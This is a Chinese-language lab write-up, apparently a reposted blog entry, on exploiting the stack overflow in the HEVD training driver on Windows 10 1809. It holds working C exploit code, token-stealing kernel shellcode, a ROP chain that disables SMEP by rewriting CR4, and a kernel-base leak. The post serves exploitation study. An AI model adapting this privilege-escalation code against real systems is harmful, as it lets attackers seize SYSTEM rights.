划水篇之hevd没开GS栈溢出漏洞利用

还是原来的味道,只不过味道乘以2
环境 仅适用win10x64 1809
在这里插入图片描述
在这里插入图片描述
很明显,当用户输入长度大于0x800时候会溢出
先编写小于0x800长度的试试水

#include <windows.h>
#include <stdio.h>
int buf[0xf00]{};
HANDLE hDriver;
DWORD dwBytesOut = 0;
int main() {
	hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("[!] Unable to get a handle on the device\n");
		return(-1);
	}
	DeviceIoControl(hDriver, 0x222003, buf, 0x666, 0, 0, &dwBytesOut, NULL);
	return 0;
}

在这里插入图片描述
如预期一样 没有异常
扩大长度
在这里插入图片描述
在这里插入图片描述
好了,崩溃了,老套路 打断点寻找memcpy的位置
注意的是为了防止意外再次方生,把缓冲区长度设置小于0x800
在这里插入图片描述
执行程序断下来p键步过跟踪到拷贝函数
在这里插入图片描述
bp fffff806`10871419 "j @r9==1 ‘’ ‘gc’"
当拷贝函数结束时栈是这样的
在这里插入图片描述
有意思的是像拷贝是往上溢出
在这里插入图片描述
然后把长度更改如下
在这里插入图片描述
在这里插入图片描述
很显然,溢出了,但是多溢出了,后面再减去就好了,然后编写shellcode替换0x41
我们知道在win7提权替换token的方法一般就是在r0下拿到当前线程然后从当前线程拿到当前进程,然后遍历进程,对比pid,当pid等于4就确定该进程是system进程,然后把该进程token替换当前进程,至此完成提权,win10下的提权也是一样,不过内核数据偏移不一样,好了,废话说多了,直接写代码

他娘娘的腿的,win10保护真多

#include <windows.h>
#include <stdio.h>
#include"shellcode.h"
DWORD64 buf[0xf00]{};
HANDLE hDriver;
DWORD dwBytesOut = 0;

int main() {
	hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("[!] Unable to get a handle on the device\n");
		return(-1);
	}
	for (size_t i = 0; i < 0xf00; i++)
	{
		buf[i] = (DWORD64)&ShellCode;
	}
	DeviceIoControl(hDriver, 0x222003, buf, 0x800+40, 0, 0, &dwBytesOut, NULL);
	return 0;
}

shellcode.asm

.code 
ShellCode proc
xor rax, rax                    ; Set ZERO
mov rax, gs:[rax + 188h]        ; Get nt!_KPCR.PcrbData.CurrentThread
                                ; _KTHREAD is located at GS : [0x188]

mov rax, [rax +184]            ; Get nt!_KTHREAD.ApcState.Process
mov rcx, rax                    ; Copy current process _EPROCESS structure
mov r11, rcx                    ; Store Token.RefCnt
and r11, 7

mov rdx, 4h                     ; SYSTEM process PID = 0x4

SearchSystemPID:
mov rax, [rax + 2e8h]           ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub rax, 2e8h
cmp[rax + 2e0h], rdx            ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov rdx, [rax + 358h]           ; Get SYSTEM process nt!_EPROCESS.Token
and rdx, 0fffffffffffffff0h
or rdx, r11
mov[rcx + 358h], rdx 
loc_1400865AE:
add rsp, 10h	
xor rsi, rsi	
xor rdi, rdi	
xor rax, rax	
ret
ShellCode endp 
end

你会发现的确会进入shellcode但是走一步就会溢出,因为(SEMP)保护机制,在64位下地址前4个字节为符号位,如果前面4个字节不为FFFF就是用户模式下的代码,所以他检测的到了是在用户模式下进行的代码,然后就异常导致蓝屏
在这里插入图片描述
在这里插入图片描述
好了,得上ROP了,弄了一天终于搞定了

#include <windows.h>
#include <stdio.h>
#include"shellcode.h"
HANDLE hDriver;
DWORD dwBytesOut = 0;
typedef enum _SYSTEM_INFORMATION_CLASS {
	SystemBasicInformation = 0,
	SystemPerformanceInformation = 2,
	SystemTimeOfDayInformation = 3,
	SystemProcessInformation = 5,
	SystemProcessorPerformanceInformation = 8,
	SystemModuleInformation = 11,
	SystemInterruptInformation = 23,
	SystemExceptionInformation = 33,
	SystemRegistryQuotaInformation = 37,
	SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
	SYSTEM_INFORMATION_CLASS SystemInformationClass,
	PVOID SystemInformation,
	ULONG SystemInformationLength,
	PULONG ReturnLength
	);
typedef struct _ROP {
	PUCHAR PopRcxRet;
	PUCHAR Cr4RegValue;
	PUCHAR MovCr4EcxRet;
} ROP, * PROP;

typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
	HANDLE Section;
	PVOID MappedBase;
	PVOID ImageBase;
	ULONG ImageSize;
	ULONG Flags;
	USHORT LoadOrderIndex;
	USHORT InitOrderIndex;
	USHORT LoadCount;
	USHORT OffsetToFileName;
	UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION {
	ULONG NumberOfModules;
	SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
int main() {

	CHAR* buf{};
	buf = (CHAR*)malloc(2152);
	DWORD64 a = (DWORD64)ShellCode;
	LPVOID temp;
	temp = VirtualAlloc(
		NULL,				
		0x1000 ,MEM_COMMIT | MEM_RESERVE,	PAGE_EXECUTE_READWRITE);
	memcpy(temp, &a, 0x100);
	DWORD len;
	PSYSTEM_MODULE_INFORMATION ModuleInfo;
	PUCHAR kernelBase = NULL;

	ROP DisableSMEP, EnableSMEP;
	_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
		GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
	NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
	ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);

	kernelBase = (PUCHAR)ModuleInfo->Module[0].ImageBase;


	VirtualFree(ModuleInfo, 0, MEM_RELEASE);
	DisableSMEP.PopRcxRet = kernelBase + 0x270fce;
	DisableSMEP.Cr4RegValue = (PUCHAR)0x406f8;
	DisableSMEP.MovCr4EcxRet = kernelBase + 0x16e437;
	SecureZeroMemory(buf, 2152);
	
	memset(buf, 0x41, 2152);
	
	memcpy(buf + 2096, temp, sizeof(DWORD64));
	memcpy(buf + 0x818, &DisableSMEP, sizeof(ROP));
	//memcpy(buf + 2128, &EnableSMEP, sizeof(ROP));
	wprintf(L" [+] shellcode is at: 0x%p \n", ShellCode);
	wprintf(L" [+] Kernel Base Address is at: 0x%p \n", kernelBase);
	wprintf(L" [+] pop rcx ; ret -> Gadget available at: 0x%p \n", DisableSMEP.PopRcxRet);
	wprintf(L" [+] New value of CR4 register: 0x%p \n", DisableSMEP.Cr4RegValue);
	wprintf(L" [+] mov cr4, ecx ; ret -> Gadget available at: 0x%p \n\n", DisableSMEP.MovCr4EcxRet);
	hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("[!] Unable to get a handle on the device\n");
		return(-1);
	}
	system("pause");
	DeviceIoControl(hDriver, 0x222003, buf, 0x838, 0, 0, &dwBytesOut, NULL);
	STARTUPINFO si = { sizeof(si) };
	PROCESS_INFORMATION pi = { 0 };
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
	BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
	return 0;
}

shellcode.asm

.code 
ShellCode proc
xor rax, rax                    ; Set ZERO
mov rax, gs:[rax + 188h]        ; Get nt!_KPCR.PcrbData.CurrentThread
                                ; _KTHREAD is located at GS : [0x188]

mov rax, [rax +220h]            ; Get nt!_KTHREAD.ApcState.Process
mov rcx, rax                    ; Copy current process _EPROCESS structure
mov r11, rcx                    ; Store Token.RefCnt
and r11, 7

mov rdx, 4h                     ; SYSTEM process PID = 0x4

SearchSystemPID:
mov rax, [rax + 2e8h]           ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub rax, 2e8h
cmp[rax + 2e0h], rdx            ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov rdx, [rax + 358h]           ; Get SYSTEM process nt!_EPROCESS.Token
and rdx, 0fffffffffffffff0h
or rdx, r11
mov[rcx + 358h], rdx 
loc_1400865AE:
add rsp, 10h
mov r12,0
mov r15,0
mov r14,0
mov rsi,00000000c00000bbh
mov rdi,4d
mov rdx,0
mov rbx,3
ret
ShellCode endp 
end

爬坑总结
修改cr4寄存器的时候,传给cr4的寄存器的值一定要符合cr4寄存器的规范,不然蓝屏
执行shellcode的时候,如果正确修改了cr4还不能执行,一定要为shellcode分配虚拟内存
shellcode执行完了还要做回复堆栈平衡,一组图片总结

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
由于shellcode执行之前,之下了pop rcx,retn,mov cr4,rcx,retn,所以恢复堆栈由add rsp 28h变成10h
关于kalsr绕过,由于定位的rop地址来自第一个内核模块的系统指令,所以直接绕过
最后关于ida寻找ait+t 寻找rop指令(注意空格)
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_43045569/article/details/106752619